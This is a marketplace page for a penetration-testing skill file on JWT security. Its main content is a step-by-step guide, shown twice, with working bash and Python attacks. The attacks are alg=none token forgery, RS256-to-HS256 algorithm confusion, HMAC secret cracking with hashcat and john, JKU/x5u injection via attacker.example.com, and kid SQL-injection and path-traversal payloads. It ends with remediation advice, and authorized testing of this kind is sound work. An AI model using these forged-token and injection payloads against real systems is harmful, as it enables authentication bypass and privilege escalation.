[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGC133MF6RME4NXTZA4X3P":3,"skill-same:01M6AGC133MF6RME4NXTZA4X3P":106},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":65,"commitSha":66,"skillDirectory":67,"forksCount":68,"repositoryHtmlUrl":69,"repositoryHomepageUrl":70,"ownerHtmlUrl":71,"ownerBlogUrl":72,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M6AGC133MF6RME4NXTZA4X3P","testing-jwt-token-security",null,"Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-jwt-token-security\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45],"security","testing jwt token security","jwt","testing","vulnerabilities","web","pr","authentication","penetration-testing","authorization","web-application-security","t1059","web-security","burpsuite","cybersecurity","t1505","token-security","application-security","web-application","2026-11-10 10:12:30",false,"---\nname: testing-jwt-token-security\ndescription: Assessing JSON Web Token implementations for cryptographic weaknesses,\n  algorithm confusion attacks, and authorization bypass vulnerabilities during security\n  engagements.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- jwt\n- authentication\n- web-security\n- token-security\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1027\n---\n\n# Testing JWT Token Security\n\n## When to Use\n\n- During authorized penetration tests when the application uses JWT for authentication or authorization\n- When assessing API security where JWTs are passed as Bearer tokens or in cookies\n- For evaluating SSO implementations that use JWT\u002FJWS\u002FJWE tokens\n- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs\n- During security audits of microservice architectures using JWT for inter-service authentication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git`)\n- **Burp Suite Professional**: With JSON Web Token extension from BApp Store\n- **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`)\n- **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`)\n- **jq**: For JSON processing\n- **Target JWT**: A valid JWT token from the application\n\n## Workflow\n\n### Step 1: Decode and Analyze the JWT Structure\n\nExtract and examine the header, payload, and signature components.\n\n```bash\n# Decode JWT parts (base64url decode)\nJWT=\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\n# Decode header\necho \"$JWT\" | cut -d. -f1 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n\n# Decode payload\necho \"$JWT\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"sub\":\"1234567890\",\"name\":\"John Doe\",\"iat\":1516239022}\n\n# Using jwt_tool for comprehensive analysis\npython3 jwt_tool.py \"$JWT\"\n\n# Check for sensitive data in the payload:\n# - PII (email, phone, address)\n# - Internal IDs or database references\n# - Role\u002Fpermission claims\n# - Expiration times (exp, nbf, iat)\n# - Issuer (iss) and audience (aud)\n```\n\n### Step 2: Test Algorithm None Attack\n\nAttempt to forge tokens by setting the algorithm to \"none\".\n\n```bash\n# jwt_tool algorithm none attack\npython3 jwt_tool.py \"$JWT\" -X a\n\n# Manual none algorithm attack\n# Create header: {\"alg\":\"none\",\"typ\":\"JWT\"}\nHEADER=$(echo -n '{\"alg\":\"none\",\"typ\":\"JWT\"}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Create modified payload (change role to admin)\nPAYLOAD=$(echo -n '{\"sub\":\"1234567890\",\"name\":\"John Doe\",\"role\":\"admin\",\"iat\":1516239022}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Construct token with empty signature\nFORGED_JWT=\"${HEADER}.${PAYLOAD}.\"\necho \"Forged JWT: $FORGED_JWT\"\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_JWT\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\" | jq .\n\n# Try variations: \"None\", \"NONE\", \"nOnE\"\nfor alg in none None NONE nOnE; do\n  HEADER=$(echo -n \"{\\\"alg\\\":\\\"$alg\\\",\\\"typ\\\":\\\"JWT\\\"}\" | base64 | tr -d '=' | tr '+\u002F' '-_')\n  FORGED=\"${HEADER}.${PAYLOAD}.\"\n  echo -n \"alg=$alg: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Authorization: Bearer $FORGED\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n  echo\ndone\n```\n\n### Step 3: Test Algorithm Confusion (RS256 to HS256)\n\nIf the server uses RS256, try switching to HS256 and signing with the public key.\n\n```bash\n# Step 1: Obtain the server's public key\n# Check common locations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fjwks.json\" | jq .\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fopenid-configuration\" | jq .jwks_uri\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Foauth\u002Fcerts\" | jq .\n\n# Step 2: Extract public key from JWKS\n# Save the JWKS and convert to PEM format\n# Use jwt_tool or openssl\n\n# Step 3: jwt_tool key confusion attack\npython3 jwt_tool.py \"$JWT\" -X k -pk public_key.pem\n\n# Manual algorithm confusion attack with Python\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport json\n\n# Read the server's RSA public key\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\n\n# Create forged payload\npayload = {\n    \"sub\": \"1234567890\",\n    \"name\": \"Admin User\",\n    \"role\": \"admin\",\n    \"iat\": 1516239022,\n    \"exp\": 9999999999\n}\n\n# Sign with HS256 using the RSA public key as the HMAC secret\nforged_token = jwt.encode(payload, public_key, algorithm='HS256')\nprint(f\"Forged token: {forged_token}\")\nPYEOF\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n```\n\n### Step 4: Brute-Force HMAC Secret\n\nIf HS256 is used, attempt to crack the signing secret.\n\n```bash\n# Using jwt_tool with common secrets\npython3 jwt_tool.py \"$JWT\" -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using hashcat for GPU-accelerated cracking\n# Mode 16500 = JWT (HS256)\nhashcat -a 0 -m 16500 \"$JWT\" \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"$JWT\" > jwt_hash.txt\njohn jwt_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# If secret is found, forge arbitrary tokens\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"cracked_secret_here\"\npayload = {\n    \"sub\": \"1\",\n    \"name\": \"Admin\",\n    \"role\": \"admin\",\n    \"exp\": 9999999999\n}\ntoken = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Forged token: {token}\")\nPYEOF\n```\n\n### Step 5: Test JWT Claim Manipulation and Injection\n\nModify JWT claims to escalate privileges or bypass authorization.\n\n```bash\n# Using jwt_tool for claim tampering\n# Change role claim\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"known_secret\" \\\n  -pc role -pv admin\n\n# Test common claim attacks:\n\n# 1. JKU (JWK Set URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -ju \"https:\u002F\u002Fattacker.example.com\u002Fjwks.json\"\n# Host attacker-controlled JWKS at the URL\n\n# 2. KID (Key ID) injection\n# SQL injection in kid parameter\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n# If kid is used in file path lookup, point to \u002Fdev\u002Fnull (empty key)\n\n# SQL injection via kid\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"' UNION SELECT 'secret' --\" -S hs256 -p \"secret\"\n\n# 3. x5u (X.509 URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -x5u \"https:\u002F\u002Fattacker.example.com\u002Fcert.pem\"\n\n# 4. Modify subject and role claims\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"secret\" \\\n  -pc sub -pv \"admin@target.com\" \\\n  -pc role -pv \"superadmin\"\n```\n\n### Step 6: Test Token Lifetime and Revocation\n\nAssess token expiration enforcement and revocation capabilities.\n\n```bash\n# Test expired token acceptance\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport time\n\nsecret = \"known_secret\"\n# Create token that expired 1 hour ago\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": int(time.time()) - 3600,\n    \"iat\": int(time.time()) - 7200\n}\nexpired_token = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Expired token: {expired_token}\")\nPYEOF\n\ncurl -s -H \"Authorization: Bearer $EXPIRED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n\n# Test token with far-future expiration\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"known_secret\"\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": 32503680000  # Year 3000\n}\nlong_lived = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Long-lived token: {long_lived}\")\nPYEOF\n\n# Test token reuse after logout\n# 1. Capture JWT before logout\n# 2. Log out (call \u002Fauth\u002Flogout)\n# 3. Try using the captured JWT again\ncurl -s -H \"Authorization: Bearer $PRE_LOGOUT_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n# If 200, tokens are not revoked on logout\n\n# Test token reuse after password change\n# Similar test: capture JWT, change password, reuse old JWT\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` |\n| **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret |\n| **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force |\n| **JKU\u002Fx5u Injection** | Pointing JWT header URLs to attacker-controlled key servers |\n| **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter |\n| **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key |\n| **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration |\n| **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules |\n| **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation |\n| **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) |\n| **John the Ripper** | CPU-based JWT secret cracking |\n| **PyJWT** | Python library for programmatic JWT creation and manipulation |\n| **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) |\n\n## Common Scenarios\n\n### Scenario 1: Algorithm None Bypass\nThe JWT library accepts `\"alg\":\"none\"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.\n\n### Scenario 2: Weak HMAC Secret\nThe application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.\n\n### Scenario 3: Algorithm Confusion on SSO\nAn SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.\n\n### Scenario 4: KID SQL Injection\nThe `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key.\n\n## Output Format\n\n```\n## JWT Security Finding\n\n**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)\n**Severity**: Critical (CVSS 9.8)\n**Location**: Authorization header across all API endpoints\n**OWASP Category**: A02:2021 - Cryptographic Failures\n\n### JWT Configuration\n| Property | Value |\n|----------|-------|\n| Algorithm | RS256 (also accepts HS256) |\n| Issuer | auth.target.example.com |\n| Expiration | 24 hours |\n| Public Key | Available at \u002F.well-known\u002Fjwks.json |\n| Revocation | Not implemented |\n\n### Attacks Confirmed\n| Attack | Result |\n|--------|--------|\n| Algorithm None | Blocked |\n| Algorithm Confusion (RS256→HS256) | VULNERABLE |\n| HMAC Brute Force | N\u002FA (RSA) |\n| KID Injection | Not present |\n| Expired Token Reuse | Accepted (no revocation) |\n\n### Impact\n- Complete authentication bypass via forged admin tokens\n- Any user can escalate to any role by forging JWT claims\n- Tokens remain valid after logout (no server-side revocation)\n\n### Recommendation\n1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)\n2. Use asymmetric algorithms (RS256\u002FES256) with proper key management\n3. Implement token revocation via a blocklist or short expiration with refresh tokens\n4. Validate all JWT claims server-side (iss, aud, exp, nbf)\n5. Use a minimum key length of 256 bits for HMAC secrets\n```\n","# Testing JWT Token Security\n\n## When to Use\n\n- During authorized penetration tests when the application uses JWT for authentication or authorization\n- When assessing API security where JWTs are passed as Bearer tokens or in cookies\n- For evaluating SSO implementations that use JWT\u002FJWS\u002FJWE tokens\n- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs\n- During security audits of microservice architectures using JWT for inter-service authentication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git`)\n- **Burp Suite Professional**: With JSON Web Token extension from BApp Store\n- **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`)\n- **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`)\n- **jq**: For JSON processing\n- **Target JWT**: A valid JWT token from the application\n\n## Workflow\n\n### Step 1: Decode and Analyze the JWT Structure\n\nExtract and examine the header, payload, and signature components.\n\n```bash\n# Decode JWT parts (base64url decode)\nJWT=\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\n# Decode header\necho \"$JWT\" | cut -d. -f1 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n\n# Decode payload\necho \"$JWT\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"sub\":\"1234567890\",\"name\":\"John Doe\",\"iat\":1516239022}\n\n# Using jwt_tool for comprehensive analysis\npython3 jwt_tool.py \"$JWT\"\n\n# Check for sensitive data in the payload:\n# - PII (email, phone, address)\n# - Internal IDs or database references\n# - Role\u002Fpermission claims\n# - Expiration times (exp, nbf, iat)\n# - Issuer (iss) and audience (aud)\n```\n\n### Step 2: Test Algorithm None Attack\n\nAttempt to forge tokens by setting the algorithm to \"none\".\n\n```bash\n# jwt_tool algorithm none attack\npython3 jwt_tool.py \"$JWT\" -X a\n\n# Manual none algorithm attack\n# Create header: {\"alg\":\"none\",\"typ\":\"JWT\"}\nHEADER=$(echo -n '{\"alg\":\"none\",\"typ\":\"JWT\"}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Create modified payload (change role to admin)\nPAYLOAD=$(echo -n '{\"sub\":\"1234567890\",\"name\":\"John Doe\",\"role\":\"admin\",\"iat\":1516239022}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Construct token with empty signature\nFORGED_JWT=\"${HEADER}.${PAYLOAD}.\"\necho \"Forged JWT: $FORGED_JWT\"\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_JWT\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\" | jq .\n\n# Try variations: \"None\", \"NONE\", \"nOnE\"\nfor alg in none None NONE nOnE; do\n  HEADER=$(echo -n \"{\\\"alg\\\":\\\"$alg\\\",\\\"typ\\\":\\\"JWT\\\"}\" | base64 | tr -d '=' | tr '+\u002F' '-_')\n  FORGED=\"${HEADER}.${PAYLOAD}.\"\n  echo -n \"alg=$alg: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Authorization: Bearer $FORGED\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n  echo\ndone\n```\n\n### Step 3: Test Algorithm Confusion (RS256 to HS256)\n\nIf the server uses RS256, try switching to HS256 and signing with the public key.\n\n```bash\n# Step 1: Obtain the server's public key\n# Check common locations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fjwks.json\" | jq .\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fopenid-configuration\" | jq .jwks_uri\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Foauth\u002Fcerts\" | jq .\n\n# Step 2: Extract public key from JWKS\n# Save the JWKS and convert to PEM format\n# Use jwt_tool or openssl\n\n# Step 3: jwt_tool key confusion attack\npython3 jwt_tool.py \"$JWT\" -X k -pk public_key.pem\n\n# Manual algorithm confusion attack with Python\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport json\n\n# Read the server's RSA public key\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\n\n# Create forged payload\npayload = {\n    \"sub\": \"1234567890\",\n    \"name\": \"Admin User\",\n    \"role\": \"admin\",\n    \"iat\": 1516239022,\n    \"exp\": 9999999999\n}\n\n# Sign with HS256 using the RSA public key as the HMAC secret\nforged_token = jwt.encode(payload, public_key, algorithm='HS256')\nprint(f\"Forged token: {forged_token}\")\nPYEOF\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n```\n\n### Step 4: Brute-Force HMAC Secret\n\nIf HS256 is used, attempt to crack the signing secret.\n\n```bash\n# Using jwt_tool with common secrets\npython3 jwt_tool.py \"$JWT\" -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using hashcat for GPU-accelerated cracking\n# Mode 16500 = JWT (HS256)\nhashcat -a 0 -m 16500 \"$JWT\" \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"$JWT\" > jwt_hash.txt\njohn jwt_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# If secret is found, forge arbitrary tokens\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"cracked_secret_here\"\npayload = {\n    \"sub\": \"1\",\n    \"name\": \"Admin\",\n    \"role\": \"admin\",\n    \"exp\": 9999999999\n}\ntoken = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Forged token: {token}\")\nPYEOF\n```\n\n### Step 5: Test JWT Claim Manipulation and Injection\n\nModify JWT claims to escalate privileges or bypass authorization.\n\n```bash\n# Using jwt_tool for claim tampering\n# Change role claim\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"known_secret\" \\\n  -pc role -pv admin\n\n# Test common claim attacks:\n\n# 1. JKU (JWK Set URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -ju \"https:\u002F\u002Fattacker.example.com\u002Fjwks.json\"\n# Host attacker-controlled JWKS at the URL\n\n# 2. KID (Key ID) injection\n# SQL injection in kid parameter\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n# If kid is used in file path lookup, point to \u002Fdev\u002Fnull (empty key)\n\n# SQL injection via kid\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"' UNION SELECT 'secret' --\" -S hs256 -p \"secret\"\n\n# 3. x5u (X.509 URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -x5u \"https:\u002F\u002Fattacker.example.com\u002Fcert.pem\"\n\n# 4. Modify subject and role claims\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"secret\" \\\n  -pc sub -pv \"admin@target.com\" \\\n  -pc role -pv \"superadmin\"\n```\n\n### Step 6: Test Token Lifetime and Revocation\n\nAssess token expiration enforcement and revocation capabilities.\n\n```bash\n# Test expired token acceptance\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport time\n\nsecret = \"known_secret\"\n# Create token that expired 1 hour ago\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": int(time.time()) - 3600,\n    \"iat\": int(time.time()) - 7200\n}\nexpired_token = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Expired token: {expired_token}\")\nPYEOF\n\ncurl -s -H \"Authorization: Bearer $EXPIRED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n\n# Test token with far-future expiration\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"known_secret\"\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": 32503680000  # Year 3000\n}\nlong_lived = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Long-lived token: {long_lived}\")\nPYEOF\n\n# Test token reuse after logout\n# 1. Capture JWT before logout\n# 2. Log out (call \u002Fauth\u002Flogout)\n# 3. Try using the captured JWT again\ncurl -s -H \"Authorization: Bearer $PRE_LOGOUT_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n# If 200, tokens are not revoked on logout\n\n# Test token reuse after password change\n# Similar test: capture JWT, change password, reuse old JWT\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` |\n| **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret |\n| **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force |\n| **JKU\u002Fx5u Injection** | Pointing JWT header URLs to attacker-controlled key servers |\n| **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter |\n| **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key |\n| **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration |\n| **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules |\n| **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation |\n| **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) |\n| **John the Ripper** | CPU-based JWT secret cracking |\n| **PyJWT** | Python library for programmatic JWT creation and manipulation |\n| **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) |\n\n## Common Scenarios\n\n### Scenario 1: Algorithm None Bypass\nThe JWT library accepts `\"alg\":\"none\"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.\n\n### Scenario 2: Weak HMAC Secret\nThe application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.\n\n### Scenario 3: Algorithm Confusion on SSO\nAn SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.\n\n### Scenario 4: KID SQL Injection\nThe `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key.\n\n## Output Format\n\n```\n## JWT Security Finding\n\n**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)\n**Severity**: Critical (CVSS 9.8)\n**Location**: Authorization header across all API endpoints\n**OWASP Category**: A02:2021 - Cryptographic Failures\n\n### JWT Configuration\n| Property | Value |\n|----------|-------|\n| Algorithm | RS256 (also accepts HS256) |\n| Issuer | auth.target.example.com |\n| Expiration | 24 hours |\n| Public Key | Available at \u002F.well-known\u002Fjwks.json |\n| Revocation | Not implemented |\n\n### Attacks Confirmed\n| Attack | Result |\n|--------|--------|\n| Algorithm None | Blocked |\n| Algorithm Confusion (RS256→HS256) | VULNERABLE |\n| HMAC Brute Force | N\u002FA (RSA) |\n| KID Injection | Not present |\n| Expired Token Reuse | Accepted (no revocation) |\n\n### Impact\n- Complete authentication bypass via forged admin tokens\n- Any user can escalate to any role by forging JWT claims\n- Tokens remain valid after logout (no server-side revocation)\n\n### Recommendation\n1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)\n2. Use asymmetric algorithms (RS256\u002FES256) with proper key management\n3. Implement token revocation via a blocklist or short expiration with refresh tokens\n4. Validate all JWT claims server-side (iss, aud, exp, nbf)\n5. Use a minimum key length of 256 bits for HMAC secrets\n```\n",{"name":5,"tags":51,"author":52,"domain":41,"license":15,"version":53,"nist_csf":54,"subdomain":37,"description":7,"mitre_attack":59},[35,29,34,39,43,40],"mahipal","1.0",[55,56,57,58],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[60,61,62,63,64],"T1190","T1059.007","T1505.003","T1083","T1027","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-jwt-token-security",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-jwt-token-security",{"tool":81,"command":82},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-jwt-token-security",{"tool":84,"command":85},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-jwt-token-security","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-jwt-token-security\u002FSKILL.md",true,[89,94,100],{"path":90,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-jwt-token-security\u002FLICENSE",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fapi-reference.md","REFERENCE","参考文档",2117,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-jwt-token-security\u002Freferences\u002Fapi-reference.md",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"scripts\u002Fagent.py","SCRIPT","脚本",10166,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-jwt-token-security\u002Fscripts\u002Fagent.py",[107,132,156,181,207,233],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":114,"publishedAt":46},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party 